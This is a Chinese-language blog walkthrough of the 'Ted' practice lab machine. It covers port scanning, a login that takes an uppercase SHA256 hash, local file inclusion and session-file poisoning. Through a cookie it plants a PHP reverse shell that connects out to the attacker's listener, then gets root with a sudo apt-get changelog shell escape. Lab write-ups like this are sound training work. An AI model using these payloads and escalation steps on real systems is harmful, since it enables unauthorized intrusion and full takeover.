Ted 靶机

Ted 靶机

难度比预想的高一丢丢,主要考察了 PHP 环境下对网站登录过程、cookie 和 session 的理解,以及如何使用本地文件包含漏洞来 getshell,提权方面倒是比较简单。没有兔子洞的一台靶机,可观察到的攻击面很窄,对于渗透技巧的练习来说是台好机器

信息收集

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Downloads/Ted]
└─$ sudo nmap --min-rate 10000 -p- 192.1.1.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:17 EDT
Nmap scan report for 192.1.1.139
Host is up (0.00042s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:39:9B:B3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
BASH

只有 80 端口开放?看看 UDP 扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Downloads/Ted]
└─$ sudo nmap --top-ports 20 -sU 192.1.1.139
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:20 EDT
Nmap scan report for 192.1.1.139
Host is up (0.00036s latency).

PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp open|filtered ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
MAC Address: 00:0C:29:39:9B:B3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 24.62 seconds
BASH

看来大概率只有 80 端口开放,使用 nmap 进行版本探查、服务详情和默认脚本扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/Downloads/Ted]
└─$ sudo nmap -sT -sV -sC -O -p80 192.1.1.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:19 EDT
Nmap scan report for 192.1.1.139
Host is up (0.00037s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Login
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:39:9B:B3 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds
BASH

Ubuntu 操作系统,80 端口是登录界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Downloads/Ted]
└─$ sudo nmap -script=vuln -p80 192.1.1.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 04:20 EDT
Nmap scan report for 192.1.1.139
Host is up (0.00063s latency).

PORT STATE SERVICE
80/tcp open http
|_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn\'t find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.1.1.139
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.1.1.139:80/
| Form id: username
| Form action: authenticate.php
|
| Path: http://192.1.1.139:80/authenticate.php
| Form id: username
|_ Form action: authenticate.php
|_http-phpself-xss: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:39:9B:B3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 327.84 seconds
BASH

漏洞脚本扫描也没什么结果,目录爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~/Downloads/Ted]
└─$ sudo dirsearch -u http://192.1.1.139

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.1.1.139/_23-08-04_04-27-52.txt

Error Log: /root/.dirsearch/logs/errors-23-08-04_04-27-52.log

Target: http://192.1.1.139/

[04:27:52] Starting:
[04:27:53] 403 - 297B - /.ht_wsr.txt
[04:27:53] 403 - 300B - /.htaccess.orig
[04:27:53] 403 - 300B - /.htaccess.bak1
[04:27:53] 403 - 300B - /.htaccess.save
[04:27:53] 403 - 299B - /.htaccessOLD2
[04:27:53] 403 - 302B - /.htaccess.sample
[04:27:53] 403 - 298B - /.htaccess_sc
[04:27:53] 403 - 301B - /.htaccess_extra
[04:27:53] 403 - 298B - /.htaccessOLD
[04:27:53] 403 - 300B - /.htaccess_orig
[04:27:53] 403 - 290B - /.htm
[04:27:53] 403 - 298B - /.htaccessBAK
[04:27:53] 403 - 291B - /.html
[04:27:53] 403 - 296B - /.htpasswds
[04:27:53] 403 - 300B - /.htpasswd_test
[04:27:53] 403 - 297B - /.httr-oauth
[04:27:54] 403 - 290B - /.php
[04:27:54] 403 - 291B - /.php3
[04:28:04] 302 - 31B - /authenticate.php -> index.php
[04:28:07] 302 - 0B - /cookie.php -> index.html
[04:28:11] 302 - 0B - /home.php -> index.html
[04:28:11] 200 - 669B - /index.php
[04:28:12] 200 - 669B - /index.php/login/
[04:28:14] 302 - 0B - /logout.php -> index.php
[04:28:20] 403 - 299B - /server-status
[04:28:20] 403 - 300B - /server-status/
BASH

目录爆破发现的目录很有限,并且都跳转到了登录界面,那只能对着登录框进行下一步尝试了

Web 渗透

登录界面的源代码也很简洁

尝试是否存在 sql 注入,sqlmap 一把梭,没结果

那就先抓个包看看,实在不行就只能密码爆破了,先试试弱密码 root:root

竟然有提示用户名错误,换个用户名 admin 试试

提示密码或者密码哈希不正确,再换个弱口令,几次尝试后发现,当密码为 admin 时,返回的结果是密码哈希值不正确

1
Password hash is not correct, make sure to hash it before submit.
APPLESCRIPT

接下来尝试了几种哈希,网站是散列加密 | 哈希加密 |哈希解密 | 散列解密 (sojson.com)

但是均失败了,然后尝试在线运行的 php 程序调用默认的哈希函数,参考了这篇文章的代码简单的PHP注册登录密码加密_php加密登录_炼气三千年的白起的博客-CSDN博客

还是失败,接下来又考虑了开发逻辑,哈希值也可能是 js 加密后发给后端的,那我是不是要在 POST 体中多加一个哈希值的变量,但是我并不知道哈希值变量的名字应该是什么,由于前后端解析上对于变量名的接收肯定是需要一致的,所以在这里纠结了很久,最后看了眼 WP,发现我不成功的原因是哈希值大小写的问题

使用 SHA256 算法哈希后的结果改为大写,也就是 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

使用这个哈希值作为 password 即可登录成功

登陆后的界面也是一如既往地简洁(简单),没有什么复杂的逻辑,只有两个可查看界面,home.php 和 cookie.php

home.php 中有一个搜索框,是通过 POST 方法发送的,简单尝试了一下似乎并不存在 sql 注入。

本地文件包含

使用 burp 抓包一下,burp 的 intrude 模块中有 fuzz 的字典,尝试使用这个字典跑一下

意外发现这里竟然是个本地文件包含的漏洞,也可以看到 passwd 文件,找了一些文件路径试了试,用的是 burp 自带的字典和文件读取漏洞路径收集_PD_3569的博客-CSDN博客中的字典

收获并不大。自己又尝试了一下,这个本地文件包含漏洞会自动解析运行 php 文件,因此当访问 logout.php 时会自动退出登录。顺便试了一下不存在远程文件包含漏洞

翻看了 cookie.php,得到的信息并不多,或许是个暗示,这里提到了 Cookies can be "persistent" or "session" cookies.

尝试了一下存不存在 cookie 注入,并没有

本地文件包含 + session 实现 Getshell

搜一搜 本地文件包含+getshell

第一个链接中思路还挺全的,跟着尝试了一下,下面是有效的 PoC

1
php://filter/read=convert.base64-encode/resource=filename
AWK

cookie 中 user_pref 的值被赋值给了 session 的 user_pref,之前尝试直接删除 cookie 中的 user_pref 没什么影响,搜索结果中本地包含的文件还是可以正常显示。先回到文章中的方法边看边尝试吧

日志文件似乎也是可以考虑的,不过刚才使用字典并没有跑出来日志文件的路径。而网站也没有提供文件上传的地方,phpinfo 文件也不存在,更没办法直接通过伪协议来执行 phpinfo() 函数

文章在 session+LFI getshell 部分使用的方法和当前场景好像不是很相符,不过有个点是我之前所不知道的,也就是 session 写入到临时文件中,尝试按照文章中给的路径来访问文件(这里一开始我去了 Auto_Wordlists/wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_Wordlists (github.com) 来找 session 的路径,但是 GitHub 上的这个路径是 /var/lib/php/session/sess_<sessid> 实际上中间的路径应该为 sessions,在此给自己提个醒)

访问成功了,文件内容并没有被清空。而且 user_pref 的值被写入到了文件中,这里是不是可以直接通过可控的 cookie 中的 user_pref 的值来 getshell,从而不需要像文章中那样构造条件竞争(因为文章中不是 user_pref 可控而是表单的值可控,而且文章中的场景是 post 请求结束文件内容会被清空)

这里我们需要将 php 反弹 shell 的代码写入到 user_pref 的值

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.1.1.128/443 0>&1'") ?>
PHP

点击一下没反应,点击了两三下反弹成功了

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Downloads/Ted]
└─$ sudo nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [192.1.1.128] from (UNKNOWN) [192.1.1.139] 55052
bash: cannot set terminal process group (1571): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$
BASH

提权

完善 shell 并进行最基础的立足点确认和信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@ubuntu:/var/www/html$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ whoami
whoami
www-data
www-data@ubuntu:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/var/www/html$ uname -a
uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/var/www/html$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:39:9b:b3 brd ff:ff:ff:ff:ff:ff
inet 192.1.1.139/24 brd 192.1.1.255 scope global dynamic ens33
valid_lft 1092sec preferred_lft 1092sec
inet6 fe80::524c:6803:d03d:c6c3/64 scope link
valid_lft forever preferred_lft forever
www-data@ubuntu:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/apt-get
BASH

sudo -l 发现意外收获(以前一直觉得 www-data 用户的 sudo -l 没法不用密码得到返回)

使用 gtfobins 来找一下 exploit

使用第一个竟然还会下载,下载后使用 !/bin/sh 开启 root 的 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@ubuntu:/var/www/html$ sudo /usr/bin/apt-get changelog apt
sudo /usr/bin/apt-get changelog apt
Get:1 http://changelogs.ubuntu.com apt 1.2.35 Changelog [413 kB]
Fetched 413 kB in 3s (133 kB/s)
WARNING: terminal is not fully functional
/tmp/apt-changelog-LZOMs0/apt.changelog (press RETURN)!/bin/sh
!/bin/sh
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root)
BASH

成功获取到 root 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
# cd /root
cd /root
# ls -laih
ls -laih
total 40K
131075 drwx------ 3 root root 4.0K Jul 16 2019 .
2 drwxr-xr-x 24 root root 4.0K Jul 15 2019 ..
141393 -rw------- 1 root root 2.7K Jul 16 2019 .bash_history
134030 -rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
134029 drwx------ 2 root root 4.0K Apr 20 2016 .cache
131475 -rw------- 1 root root 1.3K Jul 15 2019 .mysql_history
134031 -rw-r--r-- 1 root root 148 Aug 17 2015 .profile
131473 -rw------- 1 root root 9.2K Jul 16 2019 .viminfo
BASH

不过没有 flag

补充

哈希值的大小写问题

PHP 中

一般场景

session + LFI 实现Getshell

除了文中主要参考的那篇文章,这篇文章写得也不错,而且关于原理说得更清楚php文件包含漏洞Getshell的不同姿势-安全客 - 安全资讯平台 (anquanke.com)

这里使用了 session 来保存用户会话,php手册中是这样描述的:

PHP 会将会话中的数据设置到 $_SESSION 变量中。
当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

除此之外还有个小问题,就是 session 常见的存储路径,两篇文章中给的存储路径不太一样,问了下 chatgpt

文章中还提到了和这台靶机相似的场景

要包含并利用的话,需要能控制部分session文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

当然文中的场景更加复杂,尤其是关于 base64 编码那部分,思路很值得学习

参考

浅析php文件包含及其getshell的姿势 - 先知社区 (aliyun.com)

简单的PHP注册登录密码加密_php加密登录_炼气三千年的白起的博客-CSDN博客

文件读取漏洞路径收集_PD_3569的博客-CSDN博客

php文件包含漏洞Getshell的不同姿势-安全客 - 安全资讯平台 (anquanke.com)


Ted 靶机
https://i3eg1nner.github.io/2023/08/bacb736ec337.html
作者
I3eg1nner
发布于
2023年8月5日
许可协议